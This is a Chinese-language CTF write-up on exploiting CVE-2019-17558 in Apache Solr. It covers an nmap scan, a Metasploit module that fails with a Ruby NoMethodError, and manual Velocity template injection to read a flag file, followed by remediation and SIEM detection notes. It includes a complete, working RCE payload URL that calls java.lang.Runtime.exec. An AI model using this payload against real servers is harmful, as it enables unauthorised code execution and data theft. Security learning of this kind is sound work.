记录 CVE-2019-17558 在 Apache Solr 中利用过程的 CTF 解题报告,涵盖侦察、Metasploit 的局限性、手动 Velocity 模板注入、获取 flag 以及修复措施。
在 Apache Solr 中对 Velocity 模板注入漏洞进行实际利用,从自动化工具(Metasploit)的一个缺陷演进到成功的手动利用。
本报告记录了该练习的完整推理过程,重点在于诊断工具失败的原因并转向手动利用。
| 项目 | 描述 |
|---|---|
| 目标 | 运行 Apache Solr 的 Linux 服务器,端口 8983 |
| 目的 | 读取敏感文件(/home/favorite_book.txt)的内容 |
| 漏洞 | CVE-2019-17558(通过 Velocity Response Writer 实现 RCE) |
初始阶段包括识别目标主机上活跃的服务。
nmap -sV -p- <TARGET_IP>
结果。
novacollection。在访问管理面板后,确认 Solr 版本存在 Velocity Template Injection(Velocity 模板注入)漏洞。
该漏洞的触发条件是攻击者能够将 params.resource.loader.enabled 配置修改为 true,从而允许使用自定义 Velocity 模板,并借此在服务器上执行任意 Java 代码。
最初使用了 exploit/multi/http/solr_velocity_rce 模块。
该 exploit 成功修改了 Solr 的配置。
[+] params.resource.loader.enabled is true for core 'novacollection'
然而,最终的 payload 注入阶段因 Ruby 执行错误而失败。
NoMethodError: undefined method 'body' for nil:NilClass
这表明,虽然环境存在漏洞且已准备就绪,但该工具无法处理服务器响应以完成攻击。目标并非安全,只是模块的投递方式需要调整。
由于 Velocity Writer 已被 Metasploit 启用,因此通过 HTTP GET 请求手动执行注入,绕过了脚本错误。构造的 Velocity 模板用于实例化 java.lang.Runtime 并执行读取目标文件的命令。
http://<TARGET_IP>:8983/solr/novacollection/select?q=1&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27cat+/home/favorite_book.txt%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end
在服务器上实际执行的命令。
cat /home/favorite_book.txt
注入成功,文件内容直接返回在 HTTP 响应体中,并在浏览器中渲染,从而获取了 flag。
NoMethodError 错误并不代表目标安全,只是投递方式需要调整。params.resource.loader.enabled 保持禁用。select 端点并带有 wt=velocity 参数的请求,可作为 SIEM 中的检测签名。本仓库仅用于教育目的以及在受控环境(CTF)中记录学习过程。未经明确授权,请勿对系统使用这些技术。